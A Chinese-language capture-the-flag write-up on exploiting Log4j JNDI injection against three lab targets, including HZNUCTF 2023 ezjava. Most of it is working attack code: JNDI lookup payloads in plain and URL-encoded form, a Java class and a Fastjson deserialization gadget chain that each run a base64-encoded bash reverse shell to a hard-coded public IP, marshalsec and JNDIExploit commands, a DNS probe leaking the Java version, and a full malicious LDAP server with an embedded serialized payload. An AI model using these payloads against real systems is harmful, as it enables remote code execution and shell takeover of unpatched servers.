【Web】log4j打JNDI专题刷题记录

目录

[Apache log4j漏洞靶机](#Apache log4j漏洞靶机)

[Vulfocus log4j2-rce靶机](#Vulfocus log4j2-rce靶机)

[[HZNUCTF 2023 final]ezjava](#[HZNUCTF 2023 final]ezjava)

---

Apache log4j漏洞靶机

访问/webstudy/hello-fengxuan

post传参

c=${jndi:ldap://124.222.136.33:1339/#aaa}

Rev.java

import java.io.IOException;

public class Rev {
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

javac Rev.java得到Rev.class

1339端口起一个恶意ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:1338/#Rev" 1339

把恶意字节码放在1338端口

python -m http.server 1338

监听，反弹shell

Vulfocus log4j2-rce靶机

这次换JNDIExploit来打，简单又方便啊家人们😋

JNDIExploit使用 - FreeBuf网络安全行业门户

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 124.222.136.33

payload:

${jndi:ldap://124.222.136.33:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}

${jndi:ldap://124.222.136.33:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA%2BJjE%3D}

%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%32%34%2e%32%32%32%2e%31%33%36%2e%33%33%3a%31%33%38%39%2f%54%6f%6d%63%61%74%42%79%70%61%73%73%2f%43%6f%6d%6d%61%6e%64%2f%42%61%73%65%36%34%2f%59%6d%46%7a%61%43%41%74%61%53%41%25%32%42%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%51%75%4d%6a%49%79%4c%6a%45%7a%4e%69%34%7a%4d%79%38%78%4d%7a%4d%33%49%44%41%25%32%42%4a%6a%45%25%33%44%7d

监听，反弹shell

[HZNUCTF 2023 final]ezjava

dns探测出java版本为jdk8u202

{{urlenc({jndi:dns://{sys:java.version}.sd9aimlz7lgzvmafhvj1z4o5vw1nped3.oastify.com})}}

高版本下打jndi不能加载远程恶意类，所以选择打二次反序列化的方式，用的是fj1.2.8的原生反序列化链子

【Web】浅聊Fastjson原生反序列化------原理与高版本绕过_fastjson 原生反序列化-CSDN博客

EXP.java

package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class EXP {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}")});
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates, bd);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        byte[] serialize = byteArrayOutputStream.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(serialize));

    }}

运行生成的base64payload再放进恶意LDAPServer的回包中

LDAPServer.java

package org.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
//高版本LDAP绕过

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
        String[] args=new String[]{"http://localhost/#Evail"};
        int port = 6666;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABs8r+ur4AAAAxABgBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1qUXVNakl5TGpFek5pNHpNeTh4TXpNM0lEQStKakU9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAF3B0AAN4eHhwdwEAeHNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXEAfgAFWwAKc3RhY2tUcmFjZXQAHltMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50O0wAFHN1cHByZXNzZWRFeGNlcHRpb25zdAAQTGphdmEvdXRpbC9MaXN0O3hwcQB+ABRwdXIAHltMamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50OwJGKjw8/SI5AgAAeHAAAAABc3IAG2phdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudGEJxZomNt2FAgAESQAKbGluZU51bWJlckwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFeHAAAAAudAAPb3JnLmV4YW1wbGUuRVhQdAAIRVhQLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+ABN4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AIXhzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5AAAAAAAAAAECAAFMAARsaXN0cQB+ABN4cHNxAH4AIAAAAAF3BAAAAAFxAH4AB3h4"));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

把项目打成jar包

打入JNDI

起恶意LDAPServer

监听，反弹shell